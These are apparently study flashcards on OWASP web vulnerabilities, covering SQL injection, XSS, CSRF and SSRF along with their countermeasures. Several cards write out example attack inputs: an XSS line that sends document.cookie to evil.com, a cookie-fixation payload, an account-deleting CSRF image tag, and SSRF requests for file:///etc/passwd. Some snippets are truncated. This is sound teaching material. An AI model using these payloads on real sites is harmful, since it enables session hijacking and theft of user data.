OWASP part 2 Flashcards
Exam question:
Which security guiding principle is related to the blacklisting countermeasure?
Be reluctant to trust
Exam question:
Which security guiding principles are related to the encrypt sensitive information countermeasure?
Remember that hiding secrets are hard
What is the security issue of cookie-based tokens?
The server can only see the cookie name and value, not from which domain it was sent.
Only sees:
Cookie: NAME=VALUE
Fill in the black: All input is ___
Evil
Which vulnerability is related to session fixation attack?
When servers escalates anonymous session tokens without changing their value.
What can an attacker achieve with SQLi?
Modification/destruction of data
Unautherized access to data, steal information
Privilege escalation
Expose database structure
DoS
What are possible countermeasures against SQLi?
Prepared statements, bind variables
Mitigating impact
Not recommended to only do:
- escape
- blacklist
- whitelist
What does it mean to bind variables when mitigating SQLis?
To put one or more placeholders in the text of the SQL statement, then specify the variable (value to be used) for each placeholder.
What are the 8 most common OWASP risk at this point in time?
More injection attacks - XSS
Broken access control - CSRF
SSRF
Security misconfiguration - XML external identities
SW and data integrity failures - insecure deserialization
Identification and auth failure - Broken authentication
Security logging and monitoring failures - insufficient logging and monitoring
HTML security issues - Clickjacking
What type of session management attacks can be achieved using XSS?
Session token theft
Session fixation
What is XSS?
Can occur when JS code is sent as user input and the server does not sanitize the input and echo’s it directly on the html page. This way, the user input will be interpreted as code and executed.
How can XSS be used to steal tokens? (Token theft)
An attacker finds out that http://example.com/query? is vulnerable to XSS.
The attacker knows that user A uses this page alot.
The attacker sends the following link to the user:
http://example.com/query?name=
new Image().src = "http://evil.com/log?c='+document.cookie;
The attacker lures the user to click this link
When the user clicks the link, the script is echoed back to the user’s browser and executed. The user’s anonymous or logged-in cookie at example.com is logged at evil.com
How can XSS be used in session fixation attacks?
The attacker sends a request to example.com and receives back an anonymous token from the server.
At the same time, A visits the same site and receives their own anonymous cookie.
Then, the attacker sends the link to A:
http://example.com/query?name=
document.cookie = "exampleSiteToken=attackersToken"
Attacker lures A to click this link
Later, A logs in to the example.com site. If the credentials are valid, the server escalated the anonymous token, with the attackers value, to a logged-in token.
The attacker can now use their token to impersonate A.
What are some usual sources of untrusted input?
Query
User/profile page
Forum/Message board
Blogs
What are the 2 types of XSS attacks?
Reflected XSS
Stored XSS
What is reflected XSS?
JS is injected into a request
The JS code is reflected immediately in the response
What is stored XSS?
Script injected into a request, then stored somewhere on the server.
Reflected repeatedly, making it more easily spread.
How can XSS be mitigated?
Sanitize input data
Sanitize or escape data that is inserted into a web page.
Don’t rely on sanitizing only on the client side, as requests can be intercepted. Always sanitize on the server side as well.
What is the flow of CSRF?
User logs in and gets a session ID from the server:
Cookie: sessionID=1234
The user has this session open, when visiting a new site: evil.com
This site contains an image, that is not a real image, but rather refers to a transfer site of the bank
<img></img>
When the image is reflected back to the browser, the link is executed, effectively sending a request on behalf of the user. The session ID of the user is used to complete the transaction.
The attacker needs to understand how transaction requests are made from the banking app, to be able to forge a correct request.
What is the vulnerability that makes CSRFs possible?
Session management that only relies on a cookie. And the server is not able to distinguish between real and forged requests.
How can you identify if a website is vulnerable to CSRF?
Identify URL to test for CSRF. For example test if you are able to delete an account on a website using csrf.
Set up different website that contains:
<img src=”http://example.com/account/del”
Create a dummy account on the original website, and log in.
With the session active, open the HTML page we just created in the same browser.
If the account was deleted -> is vulnerable
How can CSRF be mitigated? (4)
Extra authentication when doing transactions: re-authenticate
CSRF tokens(action tokens)
SameSite cookies (browser setting): Prevents cross-site cookie usage
Referer-based validation: Verifies that the request originates from own domain.
How can we mitigate CSRF using CSRF tokens?
Combine tokens in the cookie and the hidden-form field. Add action token as hidden field to genuine forms. This token should not be predictable.
When a user logs in it gets a sessionID. When the user asks for the transfer form, a CSRF token is created and put in a hidden field. The form is then returned to the user.
Whenever a user issues a request from the form, both the cookie and the CSRF token are sent. The server checks both.
What is SSRF?
A browser is talking to a web app that is in a trust zone with other servers or services. The server can access backend services.
The attacker sends a request to the server, which is then forwarded within the trusted zone. This request executes with the rights of the web server.
Give 2 examples of SSRF requests
GET /?url=http://127.0.0.1/admin/
GET /?url=file:///etc/passwd
How can SSRF be countermeasured?
There is no universal fix, as it depends on the server-side implementation (application functionality and business requirements).
Some approaches:
- Whitelisting on server side (What IP addresses can pass through)
- Handle responses from the server: e.g. make sure not to send files or passwords
- Authentication between server and internal services
- Network segregation
